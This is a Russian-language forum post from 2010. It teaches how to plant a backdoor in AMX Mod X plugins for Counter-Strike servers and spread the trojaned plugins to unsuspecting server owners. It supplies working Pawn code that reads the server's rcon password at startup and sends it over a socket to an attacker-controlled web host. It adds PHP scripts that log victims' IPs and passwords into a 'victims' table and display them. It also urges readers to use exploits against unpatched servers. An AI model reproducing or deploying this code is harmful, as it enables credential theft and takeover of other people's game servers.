Перейти к содержимому


Фотография

Бекдоры в Amxx-плагинах


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1 Lost

Lost

    Новичок

  • Пользователь
  • Pip
  • 6 сообщений

Отправлено 19 Сентябрь 2010 - 10:57

Если субъект забил на обновления dproto – смело вводите в бой свежие эксплоиты. Старый билд? Юзайте баяны вроде «Born to be pig (..)». Но есть способ банальней и, что характерно, таки более эффективный, от которого фиксы не спасут, поможет только студень в черепной коробке. Последний встречается все реже, что только подтверждает эффективность метода.

А суть его такова: бекдоры в amxx-плагинах. Что нам это даст? Фактически, все что угодно: возможность получить ркон-пароль, в нужный момент отправить сервер к ... все зависит от вашей фантазии (в данном случае рассмотрим вариант с рконом).

Как-либо заметить наличие данной заразы, как ни крути, проблематично. Конечно, дизассемблер никто не отменял, но скажите честно, вы часто пропускаете через него плагины, которые собираетесь поставить? В крайнем случае, уверяю – данной херней страдают единицы.

Да, все это круто – впаяли «назад-дверь» в один из дефолтных плагинов amxx, отправили сервер на публику, радостное нубье его растащило. А теперь вопрос: как узнать, где именно лежит заветный «ядовитый» плагин? Планомерно проверять каждый сервер из списка занятие далеко не увлекательное, так что давайте данные (в виде rcon и ip сервера, где наш плагин, собственно, лежит) будут стекаться прямо к нам.

Самый простой (да и, наверное, единственно возможный) вариант – отправка данных на веб-сервер. Скажем, лежит на нашем хосте пхпшка, которой плагин при запуске сервера отправляет ip-адрес через GET-запрос, а та сохраняет результат в sql-базу. Зачем такой геморрой, ведь amxmodx располагает возможностями работы с SQL-базами? Почему бы не организовать прямое подключение к нашей базе?

Дело в том, что в таком случае вместе с плагином к жертве отходят и наши логин/пароль от БД. А что тогда? Верно, жертва и злоумышленник меняются местами.

В целом, схема выходит следующая:

1) Инициализация плагина при запуске сервера. Отправка GET-запроса нашей пхпшке через сокет.
2) Пхпшка отправляет запрос базе, определяя, есть ли в базе данный IP-адрес, и если нет – добавляет результаты в таблицу, если есть – обновляет запись.

К примеру, на нашем веб-сервере лежит backdoor.php со следующим содержанием:

<?php
$rcon = $_GET['rcon'];
//функция добавления адресов и паролей в базу
?>

Тогда для добавления в базу инфы, нам необходимо отправить следующий GET-запрос:

GET /backdoor.php?rcon=RCON_ПАРОЛЬ HTTP/1.1 /r/n HOST: ourhost.com/r/n

Теперь о том, как функцию запроса вклеить в исходный плагин.
Для открытия сокет-соединения с нашим веб-сервером, необходимо подключить библиотеку sockets.

#include <sockets>

Рекомендую отправление запроса организовать при инициализации плагина (plugin_init()).
Открытие сокет-соединения осуществляется функцией socket_open()

socket_open (АДРЕС_ВЕБ-СЕРВЕРА, ПОРТ_ВЕБ-СЕРВЕРА, ПРОТОКОЛ)

socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP)

Также нам необходимо отвести три переменные в плагине для сокета, запроса и rcon

new socket
new rcon[129]
new query[256]

Ну и для ошибки:

new error

Записываем в них соответственную инфу:

get_cvar_string("rcon_password", rcon, 12
format(query, "GET /backdoor.php?rcon=%s HTTP/1.1 ^r^n HOST: ourhost.com^r^n", 256,rcon)[/CODE]
И отправляем запрос:

socket_send(socket, query, 256)

Закрываем сокет-соединение:

socket_close(socket)

#include <amxmodx>
#include <sockets>
new socket
new rcon[129]
new error
new query[256]
public plugin_init() {
register_plugin("НАЗВАНИЕ", "ВЕРСИЯ", "АВТОР")
get_cvar_string("rcon_password", rcon, 128)
format(query, "GET /backdoor.php?rcon=%s HTTP 1.1 ^r^n HOST ourhost.com^r^n", 256,rcon)
socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP)
socket_send(socket, query, 256)
socket_close(socket)
}

www.ourhost.com и путь к пхпшке меняем на нужные, естессна.
Содержимое самой .php-шки:

<?php
$sql['host'] = "localhost";   //SQL-хост
$sql['user'] = "root";   //SQL-пользователь
$sql['pass'] = "pass";  //SQL-пароль
$sql['db'] = "db";   //SQL-база
$rcon = addslashes($_GET['rcon']);
mysql_connect($sql['host'], $sql['user'], $sql['pass']);
mysql_select_db($sql['db']);
$ip = getenv(REMOTE_ADDR).":".getenv(REMOTE_PORT);
$q = mysql_query("create table if not exists victims ( `id` int auto_increment, `ip` varchar(25) not null, `rcon` tinytext not null, primary key (`id`))");
$q = mysql_query("select * from victims where ip={$ip} limit 1");
if(!$q) die('Oops');
if(mysql_num_rows($q) == 0) {
$p = mysql_query("insert into victims (`id`, `ip`, `rcon`) values (0, '{$ip}', '{$rcon}')");
} else {
$p = mysql_query("update victims set rcon='{$rcon}' where ip='{$ip}'");
}
?>

Теперь кладем ее в корневую директорию (чтобы путь к ней выглядел как ourhost.com/backdoor.php), компилируем наш плагин, запускаем сервер.. и в базе появляется наш ip и rcon. Драма.

Как посмотреть результаты рейда? Воспользуйтесь пхпмайадмином или этим скриптом:

<?php

$sql['host'] = 'localhost';   //SQL-хост
$sql['user'] = 'root';   //SQL-пользователь
$sql['pass'] = 'pass';  //SQL-пароль
$sql['db'] = 'db';   //SQL-база
mysql_connect($sql['host'], $sql['user'], $sql['pass'])
mysql_select_db($sql['db']);
$q = mysql_query('select * from victims');
if(!$q) die('OI PIZDEC <img src='http://forum.myarena.ru/public/style_emoticons/<#EMO_DIR#>/sad.png' class='bbc_emoticon' alt=':(' /> ');
?>
<table>
<?php
while($r = mysql_fetch_array($q, MYSQL_ASSOC)) {
echo '<tr><td>'.$r[ip].'</td><td>'.$r[rcon].'</td></tr>';
}

?>
</table>
гм-комьюнити©
Ставьте исходники плагинов)


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных